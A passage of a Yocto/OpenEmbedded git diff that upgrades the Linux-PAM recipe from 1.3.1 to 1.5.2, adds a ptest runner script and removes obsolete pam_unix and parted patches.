- args[0] = CHKPWD_HELPER;
- args[1] = user;
-- if (off(UNIX__NONULL, ctrl)) { /* this means we've succeeded */
-+ if (on(UNIX_NULLOK_SECURE, ctrl)) {
-+ const void *uttyname;
-+ retval = pam_get_item(pamh, PAM_TTY, &uttyname);
-+ if (retval != PAM_SUCCESS || uttyname == NULL
-+ || _pammodutil_tty_secure(pamh, (const char *)uttyname) != PAM_SUCCESS) {
-+ nullok = 0;
-+ }
-+ }
-+
-+ if (nullok) {
- args[2]="nullok";
- } else {
- args[2]="nonull";
-@@ -672,6 +691,17 @@ _unix_blankpasswd (pam_handle_t *pamh, unsigned int ctrl, const char *name)
- if (on(UNIX__NONULL, ctrl))
- return 0; /* will fail but don't let on yet */
-
-+ if (on(UNIX_NULLOK_SECURE, ctrl)) {
-+ int retval2;
-+ const void *uttyname;
-+ retval2 = pam_get_item(pamh, PAM_TTY, &uttyname);
-+ if (retval2 != PAM_SUCCESS || uttyname == NULL)
-+ return 0;
-+
-+ if (_pammodutil_tty_secure(pamh, (const char *)uttyname) != PAM_SUCCESS)
-+ return 0;
-+ }
-+
- /* UNIX passwords area */
-
- retval = get_pwd_hash(pamh, name, &pwd, &salt);
-@@ -758,7 +788,7 @@ int _unix_verify_password(pam_handle_t * pamh, const char *name
- }
- }
- } else {
-- retval = verify_pwd_hash(p, salt, off(UNIX__NONULL, ctrl));
-+ retval = verify_pwd_hash(p, salt, _unix_blankpasswd(pamh, ctrl, name));
- }
-
- if (retval == PAM_SUCCESS) {
-diff --git a/modules/pam_unix/support.h b/modules/pam_unix/support.h
-index b4c279c..8da4a8e 100644
---- a/modules/pam_unix/support.h
-+++ b/modules/pam_unix/support.h
-@@ -98,8 +98,9 @@ typedef struct {
- #define UNIX_QUIET 28 /* Don't print informational messages */
- #define UNIX_NO_PASS_EXPIRY 29 /* Don't check for password expiration if not used for authentication */
- #define UNIX_DES 30 /* DES, default */
-+#define UNIX_NULLOK_SECURE 31 /* NULL passwords allowed only on secure ttys */
- /* -------------- */
--#define UNIX_CTRLS_ 31 /* number of ctrl arguments defined */
-+#define UNIX_CTRLS_ 32 /* number of ctrl arguments defined */
-
- #define UNIX_DES_CRYPT(ctrl) (off(UNIX_MD5_PASS,ctrl)&&off(UNIX_BIGCRYPT,ctrl)&&off(UNIX_SHA256_PASS,ctrl)&&off(UNIX_SHA512_PASS,ctrl)&&off(UNIX_BLOWFISH_PASS,ctrl))
-
-@@ -117,7 +118,7 @@ static const UNIX_Ctrls unix_args[UNIX_CTRLS_] =
- /* UNIX_AUTHTOK_TYPE */ {"authtok_type=", _ALL_ON_, 0100, 0},
- /* UNIX__PRELIM */ {NULL, _ALL_ON_^(0600), 0200, 0},
- /* UNIX__UPDATE */ {NULL, _ALL_ON_^(0600), 0400, 0},
--/* UNIX__NONULL */ {NULL, _ALL_ON_, 01000, 0},
-+/* UNIX__NONULL */ {NULL, _ALL_ON_^(02000000000), 01000, 0},
- /* UNIX__QUIET */ {NULL, _ALL_ON_, 02000, 0},
- /* UNIX_USE_AUTHTOK */ {"use_authtok", _ALL_ON_, 04000, 0},
- /* UNIX_SHADOW */ {"shadow", _ALL_ON_, 010000, 0},
-@@ -139,6 +140,7 @@ static const UNIX_Ctrls unix_args[UNIX_CTRLS_] =
- /* UNIX_QUIET */ {"quiet", _ALL_ON_, 01000000000, 0},
- /* UNIX_NO_PASS_EXPIRY */ {"no_pass_expiry", _ALL_ON_, 02000000000, 0},
- /* UNIX_DES */ {"des", _ALL_ON_^(0260420000), 0, 1},
-+/* UNIX_NULLOK_SECURE */ {"nullok_secure", _ALL_ON_^(01000), 02000000000, 0},
- };
-
- #define UNIX_DEFAULTS (unix_args[UNIX__NONULL].flag)
-@@ -172,6 +174,8 @@ extern int _unix_read_password(pam_handle_t * pamh
- ,const char *data_name
- ,const void **pass);
-
-+extern int _pammodutil_tty_secure(const pam_handle_t *pamh, const char *uttyname);
-+
- extern int _unix_run_verify_binary(pam_handle_t *pamh,
- unsigned int ctrl, const char *user, int *daysleft);
- #endif /* _PAM_UNIX_SUPPORT_H */
---
-2.4.0
-
diff --git a/meta/recipes-extended/pam/libpam/pam-volatiles.conf b/meta/recipes-extended/pam/libpam/pam-volatiles.conf
new file mode 100644
index 0000000000..d8b8259a93
--- /dev/null
+++ b/meta/recipes-extended/pam/libpam/pam-volatiles.conf
@@ -0,0 +1 @@
+d /var/run/sepermit 0755 root root - -
diff --git a/meta/recipes-extended/pam/libpam/pam.d/common-password b/meta/recipes-extended/pam/libpam/pam.d/common-password
index 3896057328..52478dae77 100644
--- a/meta/recipes-extended/pam/libpam/pam.d/common-password
+++ b/meta/recipes-extended/pam/libpam/pam.d/common-password
@@ -10,13 +10,10 @@
# The "sha512" option enables salted SHA512 passwords. Without this option,
# the default is Unix crypt. Prior releases used the option "md5".
#
-# The "obscure" option replaces the old `OBSCURE_CHECKS_ENAB' option in
-# login.defs.
-#
# See the pam_unix manpage for other options.
# here are the per-package modules (the "Primary" block)
-password [success=1 default=ignore] pam_unix.so obscure sha512
+password [success=1 default=ignore] pam_unix.so sha512
# here's the fallback if no module succeeds
password requisite pam_deny.so
# prime the stack with a positive return value if there isn't one already;
diff --git a/meta/recipes-extended/pam/libpam/run-ptest b/meta/recipes-extended/pam/libpam/run-ptest
new file mode 100644
index 0000000000..9c304aee47
--- /dev/null
+++ b/meta/recipes-extended/pam/libpam/run-ptest
@@ -0,0 +1,32 @@
+#! /bin/sh
+
+cd tests
+
+export srcdir=.
+
+failed=0
+all=0
+for f in tst-*; do
+ "./$f" > /dev/null 2>&1
+ case "$?" in
+ 0)
+ echo "PASS: $f"
+ all=$((all + 1))
+ ;;
+ 77)
+ echo "SKIP: $f"
+ ;;
+ *)
+ echo "FAIL: $f"
+ failed=$((failed + 1))
+ all=$((all + 1))
+ ;;
+ esac
+done
+
+if [ "$failed" -eq 0 ] ; then
+ echo "All $all tests passed"
+else
+ echo "$failed of $all tests failed"
+fi
+unset srcdir
diff --git a/meta/recipes-extended/pam/libpam_1.3.1.bb b/meta/recipes-extended/pam/libpam_1.3.1.bb
deleted file mode 100644
index a2aa1ecd16..0000000000
--- a/meta/recipes-extended/pam/libpam_1.3.1.bb
+++ /dev/null
@@ -1,167 +0,0 @@
-SUMMARY = "Linux-PAM (Pluggable Authentication Modules)"
-DESCRIPTION = "Linux-PAM (Pluggable Authentication Modules for Linux), a flexible mechanism for authenticating users"
-HOMEPAGE = "https://fedorahosted.org/linux-pam/"
-BUGTRACKER = "https://fedorahosted.org/linux-pam/newticket"
-SECTION = "base"
-# PAM is dual licensed under GPL and BSD.
-# /etc/pam.d comes from Debian libpam-runtime in 2009-11 (at that time
-# libpam-runtime-1.0.1 is GPLv2+), by openembedded
-LICENSE = "GPLv2+ | BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=7eb5c1bf854e8881005d673599ee74d3 \
- file://libpamc/License;md5=a4da476a14c093fdc73be3c3c9ba8fb3 \
- "
-
-SRC_URI = "https://github.com/linux-pam/linux-pam/releases/download/v${PV}/Linux-PAM-${PV}.tar.xz \
- file://99_pam \
- file://pam.d/common-account \
- file://pam.d/common-auth \
- file://pam.d/common-password \
- file://pam.d/common-session \
- file://pam.d/common-session-noninteractive \
- file://pam.d/other \
- file://libpam-xtests.patch \
- file://fixsepbuild.patch \
- file://pam-security-abstract-securetty-handling.patch \
- file://pam-unix-nullok-secure.patch \
- file://crypt_configure.patch \
- "
-
-SRC_URI[md5sum] = "558ff53b0fc0563ca97f79e911822165"
-SRC_URI[sha256sum] = "eff47a4ecd833fbf18de9686632a70ee8d0794b79aecb217ebd0ce11db4cd0db"
-
-SRC_URI_append_libc-musl = " file://0001-Add-support-for-defining-missing-funcitonality.patch \
- file://include_paths_header.patch \
- "
-
-DEPENDS = "bison-native flex flex-native cracklib libxml2-native virtual/crypt"
-
-EXTRA_OECONF = "--with-db-uniquename=_pam \
- --includedir=${includedir}/security \
- --libdir=${base_libdir} \
- --disable-nis \
- --disable-regenerate-docu \
- --disable-prelude"
-
-CFLAGS_append = " -fPIC "
-
-S = "${WORKDIR}/Linux-PAM-${PV}"
-
-inherit autotools gettext pkgconfig
-
-PACKAGECONFIG[audit] = "--enable-audit,--disable-audit,audit,"
-
-PACKAGES += "${PN}-runtime ${PN}-xtests"
-FILES_${PN} = "${base_libdir}/lib*${SOLIBS}"
-FILES_${PN}-dev += "${base_libdir}/security/*.la ${base_libdir}/*.la ${base_libdir}/lib*${SOLIBSDEV}"
-FILES_${PN}-runtime = "${sysconfdir}"
-FILES_${PN}-xtests = "${datadir}/Linux-PAM/xtests"
-
-PACKAGES_DYNAMIC += "^${MLPREFIX}pam-plugin-.*"
-
-def get_multilib_bit(d):
- baselib = d.getVar('baselib') or ''
- return baselib.replace('lib', '')
-
-libpam_suffix = "suffix${@get_multilib_bit(d)}"
-
-RPROVIDES_${PN} += "${PN}-${libpam_suffix}"
-RPROVIDES_${PN}-runtime += "${PN}-runtime-${libpam_suffix}"
-
-RDEPENDS_${PN}-runtime = "${PN}-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-deny-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-permit-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-warn-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-unix-${libpam_suffix} \
- "
-RDEPENDS_${PN}-xtests = "${PN}-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-access-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-debug-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-cracklib-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-pwhistory-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-succeed-if-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-time-${libpam_suffix} \
- coreutils"
-
-# FIXME: Native suffix breaks here, disable it for now
-RRECOMMENDS_${PN} = "${PN}-runtime-${libpam_suffix}"
-RRECOMMENDS_${PN}_class-native = ""
-
-python populate_packages_prepend () {
- def pam_plugin_append_file(pn, dir, file):
- nf = os.path.join(dir, file)
- of = d.getVar('FILES_' + pn)
- if of:
- nf = of + " " + nf
- d.setVar('FILES_' + pn, nf)
-
- def pam_plugin_hook(file, pkg, pattern, format, basename):
- pn = d.getVar('PN')
- libpam_suffix = d.getVar('libpam_suffix')
-
- rdeps = d.getVar('RDEPENDS_' + pkg)
- if rdeps:
- rdeps = rdeps + " " + pn + "-" + libpam_suffix
- else:
- rdeps = pn + "-" + libpam_suffix
- d.setVar('RDEPENDS_' + pkg, rdeps)
-
- provides = d.getVar('RPROVIDES_' + pkg)
- if provides:
- provides = provides + " " + pkg + "-" + libpam_suffix
- else:
- provides = pkg + "-" + libpam_suffix
- d.setVar('RPROVIDES_' + pkg, provides)
-
- mlprefix = d.getVar('MLPREFIX') or ''
- dvar = d.expand('${WORKDIR}/package')
- pam_libdir = d.expand('${base_libdir}/security')
- pam_sbindir = d.expand('${sbindir}')
- pam_filterdir = d.expand('${base_libdir}/security/pam_filter')
- pam_pkgname = mlprefix + 'pam-plugin%s'
-
- do_split_packages(d, pam_libdir, r'^pam(.*)\.so$', pam_pkgname,
- 'PAM plugin for %s', hook=pam_plugin_hook, extra_depends='')
- pam_plugin_append_file('%spam-plugin-unix' % mlprefix, pam_sbindir, 'unix_chkpwd')
- pam_plugin_append_file('%spam-plugin-unix' % mlprefix, pam_sbindir, 'unix_update')
- pam_plugin_append_file('%spam-plugin-tally' % mlprefix, pam_sbindir, 'pam_tally')
- pam_plugin_append_file('%spam-plugin-tally2' % mlprefix, pam_sbindir, 'pam_tally2')
- pam_plugin_append_file('%spam-plugin-timestamp' % mlprefix, pam_sbindir, 'pam_timestamp_check')
- pam_plugin_append_file('%spam-plugin-mkhomedir' % mlprefix, pam_sbindir, 'mkhomedir_helper')
- pam_plugin_append_file('%spam-plugin-console' % mlprefix, pam_sbindir, 'pam_console_apply')
- do_split_packages(d, pam_filterdir, r'^(.*)$', 'pam-filter-%s', 'PAM filter for %s', extra_depends='')
-}
-
-do_install() {
- autotools_do_install
-
- # don't install /var/run when populating rootfs. Do it through volatile
- rm -rf ${D}${localstatedir}
- install -d ${D}${sysconfdir}/default/volatiles
- install -m 0644 ${WORKDIR}/99_pam ${D}${sysconfdir}/default/volatiles
-
- install -d ${D}${sysconfdir}/pam.d/
- install -m 0644 ${WORKDIR}/pam.d/* ${D}${sysconfdir}/pam.d/
-
- # The lsb requires unix_chkpwd has setuid permission
- chmod 4755 ${D}${sbindir}/unix_chkpwd
-
- if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
- echo "session optional pam_systemd.so" >> ${D}${sysconfdir}/pam.d/common-session
- fi
-}
-
-inherit distro_features_check
-REQUIRED_DISTRO_FEATURES = "pam"
-
-BBCLASSEXTEND = "nativesdk native"
-
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-session"
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-auth"
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-password"
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-session-noninteractive"
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-account"
-CONFFILES_${PN}-runtime += "${sysconfdir}/security/limits.conf"
-
-UPSTREAM_CHECK_URI = "https://github.com/linux-pam/linux-pam/releases"
-
-CVE_PRODUCT = "linux-pam"
diff --git a/meta/recipes-extended/pam/libpam_1.5.2.bb b/meta/recipes-extended/pam/libpam_1.5.2.bb
new file mode 100644
index 0000000000..081986ef43
--- /dev/null
+++ b/meta/recipes-extended/pam/libpam_1.5.2.bb
@@ -0,0 +1,185 @@
+DISABLE_STATIC = ""
+SUMMARY = "Linux-PAM (Pluggable Authentication Modules)"
+DESCRIPTION = "Linux-PAM (Pluggable Authentication Modules for Linux), a flexible mechanism for authenticating users"
+HOMEPAGE = "https://fedorahosted.org/linux-pam/"
+BUGTRACKER = "https://fedorahosted.org/linux-pam/newticket"
+SECTION = "base"
+# PAM is dual licensed under GPL and BSD.
+# /etc/pam.d comes from Debian libpam-runtime in 2009-11 (at that time
+# libpam-runtime-1.0.1 is GPL-2.0-or-later), by openembedded
+LICENSE = "GPL-2.0-or-later | BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=7eb5c1bf854e8881005d673599ee74d3 \
+ file://libpamc/License;md5=a4da476a14c093fdc73be3c3c9ba8fb3 \
+ "
+
+SRC_URI = "https://github.com/linux-pam/linux-pam/releases/download/v${PV}/Linux-PAM-${PV}.tar.xz \
+ file://99_pam \
+ file://pam.d/common-account \
+ file://pam.d/common-auth \
+ file://pam.d/common-password \
+ file://pam.d/common-session \
+ file://pam.d/common-session-noninteractive \
+ file://pam.d/other \
+ file://libpam-xtests.patch \
+ file://0001-run-xtests.sh-check-whether-files-exist.patch \
+ file://run-ptest \
+ file://pam-volatiles.conf \
+ "
+
+SRC_URI[sha256sum] = "e4ec7131a91da44512574268f493c6d8ca105c87091691b8e9b56ca685d4f94d"
+
+DEPENDS = "bison-native flex flex-native cracklib libxml2-native virtual/crypt"
+
+EXTRA_OECONF = "--includedir=${includedir}/security \
+ --libdir=${base_libdir} \
+ --with-systemdunitdir=${systemd_system_unitdir} \
+ --disable-nis \
+ --disable-regenerate-docu \
+ --disable-doc \
+ --disable-prelude"
+
+CFLAGS:append = " -fPIC "
+
+S = "${WORKDIR}/Linux-PAM-${PV}"
+
+inherit autotools gettext pkgconfig systemd ptest
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[audit] = "--enable-audit,--disable-audit,audit,"
+PACKAGECONFIG[userdb] = "--enable-db=db,--enable-db=no,db,"
+
+PACKAGES += "${PN}-runtime ${PN}-xtests"
+FILES:${PN} = "${base_libdir}/lib*${SOLIBS}"
+FILES:${PN}-dev += "${base_libdir}/security/*.la ${base_libdir}/*.la ${base_libdir}/lib*${SOLIBSDEV}"
+FILES:${PN}-runtime = "${sysconfdir} ${sbindir} ${systemd_system_unitdir}"
+FILES:${PN}-xtests = "${datadir}/Linux-PAM/xtests"
+
+PACKAGES_DYNAMIC += "^${MLPREFIX}pam-plugin-.*"
+
+def get_multilib_bit(d):
+ baselib = d.getVar('baselib') or ''
+ return baselib.replace('lib', '')
+
+libpam_suffix = "suffix${@get_multilib_bit(d)}"
+
+RPROVIDES:${PN} += "${PN}-${libpam_suffix}"
+RPROVIDES:${PN}-runtime += "${PN}-runtime-${libpam_suffix}"
+
+RDEPENDS:${PN}-runtime = "${PN}-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-deny-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-permit-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-warn-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-unix-${libpam_suffix} \
+ "
+RDEPENDS:${PN}-xtests = "${PN}-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-access-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-debug-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-pwhistory-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-succeed-if-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-time-${libpam_suffix} \
+ bash coreutils"
+
+# FIXME: Native suffix breaks here, disable it for now
+RRECOMMENDS:${PN} = "${PN}-runtime-${libpam_suffix}"
+RRECOMMENDS:${PN}:class-native = ""
+
+python populate_packages:prepend () {
+ def pam_plugin_hook(file, pkg, pattern, format, basename):
+ pn = d.getVar('PN')
+ libpam_suffix = d.getVar('libpam_suffix')
+
+ rdeps = d.getVar('RDEPENDS:' + pkg)
+ if rdeps:
+ rdeps = rdeps + " " + pn + "-" + libpam_suffix
+ else:
+ rdeps = pn + "-" + libpam_suffix
+ d.setVar('RDEPENDS:' + pkg, rdeps)
+
+ provides = d.getVar('RPROVIDES:' + pkg)
+ if provides:
+ provides = provides + " " + pkg + "-" + libpam_suffix
+ else:
+ provides = pkg + "-" + libpam_suffix
+ d.setVar('RPROVIDES:' + pkg, provides)
+
+ mlprefix = d.getVar('MLPREFIX') or ''
+ dvar = d.expand('${WORKDIR}/package')
+ pam_libdir = d.expand('${base_libdir}/security')
+ pam_sbindir = d.expand('${sbindir}')
+ pam_filterdir = d.expand('${base_libdir}/security/pam_filter')
+ pam_pkgname = mlprefix + 'pam-plugin%s'
+
+ do_split_packages(d, pam_libdir, r'^pam(.*)\.so$', pam_pkgname,
+ 'PAM plugin for %s', hook=pam_plugin_hook, extra_depends='')
+ do_split_packages(d, pam_filterdir, r'^(.*)$', 'pam-filter-%s', 'PAM filter for %s', extra_depends='')
+}
+
+do_compile_ptest() {
+ cd tests
+ sed -i -e 's/$(MAKE) $(AM_MAKEFLAGS) check-TESTS//' Makefile
+ oe_runmake check-am
+ cd -
+}
+
+do_install() {
+ autotools_do_install
+
+ # don't install /var/run when populating rootfs. Do it through volatile
+ rm -rf ${D}${localstatedir}
+
+ if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','false','true',d)}; then
+ rm -rf ${D}${sysconfdir}/init.d/
+ rm -rf ${D}${sysconfdir}/rc*
+ install -d ${D}${sysconfdir}/tmpfiles.d
+ install -m 0644 ${WORKDIR}/pam-volatiles.conf \
+ ${D}${sysconfdir}/tmpfiles.d/pam.conf
+ else
+ install -d ${D}${sysconfdir}/default/volatiles
+ install -m 0644 ${WORKDIR}/99_pam \
+ ${D}${sysconfdir}/default/volatiles/
+ fi
+
+ install -d ${D}${sysconfdir}/pam.d/
+ install -m 0644 ${WORKDIR}/pam.d/* ${D}${sysconfdir}/pam.d/
+
+ # The lsb requires unix_chkpwd has setuid permission
+ chmod 4755 ${D}${sbindir}/unix_chkpwd
+
+ if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
+ echo "session optional pam_systemd.so" >> ${D}${sysconfdir}/pam.d/common-session
+ fi
+ if ${@bb.utils.contains('DISTRO_FEATURES','usrmerge','false','true',d)}; then
+ install -d ${D}/${libdir}/
+ mv ${D}/${base_libdir}/pkgconfig ${D}/${libdir}/
+ fi
+}
+
+do_install_ptest() {
+ if [ ${PTEST_ENABLED} = "1" ]; then
+ mkdir -p ${D}${PTEST_PATH}/tests
+ install -m 0755 ${B}/tests/.libs/* ${D}${PTEST_PATH}/tests
+ install -m 0644 ${S}/tests/confdir ${D}${PTEST_PATH}/tests
+ fi
+}
+
+pkg_postinst:${PN}() {
+ if [ -z "$D" ] && [ -e /etc/init.d/populate-volatile.sh ] ; then
+ /etc/init.d/populate-volatile.sh update
+ fi
+}
+
+inherit features_check
+REQUIRED_DISTRO_FEATURES = "pam"
+
+BBCLASSEXTEND = "nativesdk native"
+
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-session"
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-auth"
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-password"
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-session-noninteractive"
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-account"
+CONFFILES:${PN}-runtime += "${sysconfdir}/security/limits.conf"
+
+UPSTREAM_CHECK_URI = "https://github.com/linux-pam/linux-pam/releases"
+
+CVE_PRODUCT = "linux-pam"
diff --git a/meta/recipes-extended/parted/files/0001-Include-fcntl.h-in-platform_defs.h.patch b/meta/recipes-extended/parted/files/0001-Include-fcntl.h-in-platform_defs.h.patch
deleted file mode 100644
index 4070127d34..0000000000
--- a/meta/recipes-extended/parted/files/0001-Include-fcntl.h-in-platform_defs.h.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From a3877115f1956949096d77aca5a703a47ed68397 Mon Sep 17 00:00:00 2001
-From: Felix Janda <felix.janda@posteo.de>
-Date: Sun, 3 May 2015 10:33:31 +0200
-Subject: [PATCH] libparted/fs/xfs/platform_defs.h: Include <fcntl.h> for
- loff_t
-
-This is needed for compilation with musl libc
-
-Suggested-by: Travis Tilley <ttilley@gmail.com>
-
-Signed-off-by: Brian C. Lane <bcl@redhat.com>
----
- libparted/fs/xfs/platform_defs.h | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/libparted/fs/xfs/platform_defs.h b/libparted/fs/xfs/platform_defs.h
-index 2b55752..a6ec8fb 100644
---- a/libparted/fs/xfs/platform_defs.h
-+++ b/libparted/fs/xfs/platform_defs.h
-@@ -38,6 +38,7 @@
- #include <stdarg.h>
- #include <assert.h>
- #include <endian.h>
-+#include <fcntl.h>
- #include <stddef.h>
- #include <stdlib.h>
- #include <string.h>
---
-2.11.0
-
diff --git a/meta/recipes-extended/parted/files/0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch b/meta/recipes-extended/parted/files/0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch
deleted file mode 100644
index 428b14ed5e..0000000000
--- a/meta/recipes-extended/parted/files/0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-From 6e82af54714392dcdf74a8aedaae7de7d0af1080 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 27 Apr 2017 16:37:24 +0300
-Subject: [PATCH] Move python helper scripts (used only in tests) to Python 3
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- tests/gpt-header-move | 2 +-
- tests/msdos-overlap | 4 ++--
- 2 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/tests/gpt-header-move b/tests/gpt-header-move
-index 05cdc65..3cbcb7e 100755
---- a/tests/gpt-header-move
-+++ b/tests/gpt-header-move
-@@ -1,4 +1,4 @@
--#!/usr/bin/python
-+#!/usr/bin/env python3
-
- # open img file, subtract 33 from altlba address, and move the last 33 sectors
- # back by 33 sectors
-diff --git a/tests/msdos-overlap b/tests/msdos-overlap
-index 5bddfb0..3de7d2e 100755
---- a/tests/msdos-overlap
-+++ b/tests/msdos-overlap
-@@ -1,4 +1,4 @@
--#!/usr/bin/python
-+#!/usr/bin/env python3
- """
- Write an overlapping partition to a msdos disk
-
-@@ -14,7 +14,7 @@ BAD_ENTRY = (0x72, 0xf5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- OFFSET = 0x1b8
-
- if len(sys.argv) < 2:
-- print "%s: <image or device>"
-+ print("%s: <image or device>")
- sys.exit(1)
-
- data = "".join(chr(c) for c in BAD_ENTRY)
---
-2.11.0
-
diff --git a/meta/recipes-extended/parted/files/0001-Unset-need_charset_alias-when-building-for-musl.patch b/meta/recipes-extended/parted/files/0001-Unset-need_charset_alias-when-building-for-musl.patch
deleted file mode 100644
index ba1a4bab4c..0000000000
--- a/meta/recipes-extended/parted/files/0001-Unset-need_charset_alias-when-building-for-musl.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From b9565dc2fe0c4f7daaec91b7e83bc7313dee2f4a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 13 Apr 2015 17:02:13 -0700
-Subject: [PATCH] Unset need_charset_alias when building for musl
-
-localcharset uses ac_cv_gnu_library_2_1 from glibc21.m4
-which actually shoudl be fixed in gnulib and then all downstream
-projects will get it eventually. For now we apply the fix to
-coreutils
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- lib/gnulib.mk | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/lib/gnulib.mk b/lib/gnulib.mk
-index e1d74db..c0e92dd 100644
---- a/lib/gnulib.mk
-+++ b/lib/gnulib.mk
-@@ -1882,7 +1882,7 @@ install-exec-localcharset: all-local
- case '$(host_os)' in \
- darwin[56]*) \
- need_charset_alias=true ;; \
-- darwin* | cygwin* | mingw* | pw32* | cegcc*) \
-+ darwin* | cygwin* | mingw* | pw32* | cegcc* | linux-musl*) \
- need_charset_alias=false ;; \
- *) \
- need_charset_alias=true ;; \
---
-2.1.4
-
diff --git a/meta/recipes-extended/parted/files/0001-libparted-Use-read-only-when-probing-devices-on-linu.patch b/meta/recipes-extended/parted/files/0001-libparted-Use-read-only-when-probing-devices-on-linu.patch
deleted file mode 100644
index 39107620d5..0000000000
--- a/meta/recipes-extended/parted/files/0001-libparted-Use-read-only-when-probing-devices-on-linu.patch
+++ /dev/null
@@ -1,222 +0,0 @@
-From 843225aa9d5077bebdb08bbf9699c02aec0b83eb Mon Sep 17 00:00:00 2001
-From: "Brian C. Lane" <bcl@redhat.com>
-Date: Tue, 26 Sep 2017 08:04:58 +0000
-Subject: [PATCH] libparted: Use read only when probing devices on linux
-
- (#1245144)
-
-When a device is opened for RW closing it can trigger other actions,
-like udev scanning it for partition changes. Use read only for the
-init_* methods and RW for actual changes to the device.
-
-This adds _device_open which takes mode flags as an argument and turns
-linux_open into a wrapper for it with RW_MODE.
-
-_device_open_ro is added to open the device with RD_MODE and increment
-the open_counter. This is used in the init_* functions.
-
-_device_close is a wrapper around linux_close that decrements the
-open_counter and is used in the init_* functions.
-
-All of these changes are self-contained with no external API changes.
-The only visible change in behavior is that when a new PedDevice is
-created the device is opened in RO_MODE instead of RW_MODE.
-
-Resolves: rhbz#1245144
-
-Upstream-Status: Backport
-
-Signed-off-by: Ovidiu Panait <ovidiu.panait@windriver.com>
-
----
- libparted/arch/linux.c | 62 +++++++++++++++++++++++++++++++++++---------------
- 1 file changed, 44 insertions(+), 18 deletions(-)
-
-diff --git a/libparted/arch/linux.c b/libparted/arch/linux.c
-index 7f12f58..4ddea58 100644
---- a/libparted/arch/linux.c
-+++ b/libparted/arch/linux.c
-@@ -292,7 +292,9 @@ struct blkdev_ioctl_param {
- static char* _device_get_part_path (PedDevice const *dev, int num);
- static int _partition_is_mounted_by_path (const char* path);
- static unsigned int _device_get_partition_range(PedDevice const* dev);
--
-+static int _device_open (PedDevice* dev, int flags);
-+static int _device_open_ro (PedDevice* dev);
-+static int _device_close (PedDevice* dev);
-
- static int
- _read_fd (int fd, char **buf)
-@@ -911,7 +913,7 @@ init_ide (PedDevice* dev)
- if (!_device_stat (dev, &dev_stat))
- goto error;
-
-- if (!ped_device_open (dev))
-+ if (!_device_open_ro (dev))
- goto error;
-
- if (ioctl (arch_specific->fd, HDIO_GET_IDENTITY, &hdi)) {
-@@ -980,11 +982,11 @@ init_ide (PedDevice* dev)
- if (!_device_probe_geometry (dev))
- goto error_close_dev;
-
-- ped_device_close (dev);
-+ _device_close (dev);
- return 1;
-
- error_close_dev:
-- ped_device_close (dev);
-+ _device_close (dev);
- error:
- return 0;
- }
-@@ -1117,7 +1119,7 @@ init_scsi (PedDevice* dev)
- char* vendor;
- char* product;
-
-- if (!ped_device_open (dev))
-+ if (!_device_open_ro (dev))
- goto error;
-
- if (ioctl (arch_specific->fd, SCSI_IOCTL_GET_IDLUN, &idlun) < 0) {
-@@ -1131,7 +1133,7 @@ init_scsi (PedDevice* dev)
- goto error_close_dev;
- if (!_device_probe_geometry (dev))
- goto error_close_dev;
-- ped_device_close (dev);
-+ _device_close (dev);
- return 1;
- }
-
-@@ -1153,11 +1155,11 @@ init_scsi (PedDevice* dev)
- if (!_device_probe_geometry (dev))
- goto error_close_dev;
-
-- ped_device_close (dev);
-+ _device_close (dev);
- return 1;
-
- error_close_dev:
-- ped_device_close (dev);
-+ _device_close (dev);
- error:
- return 0;
- }
-@@ -1169,7 +1171,7 @@ init_file (PedDevice* dev)
-
- if (!_device_stat (dev, &dev_stat))
- goto error;
-- if (!ped_device_open (dev))
-+ if (!_device_open_ro (dev))
- goto error;
-
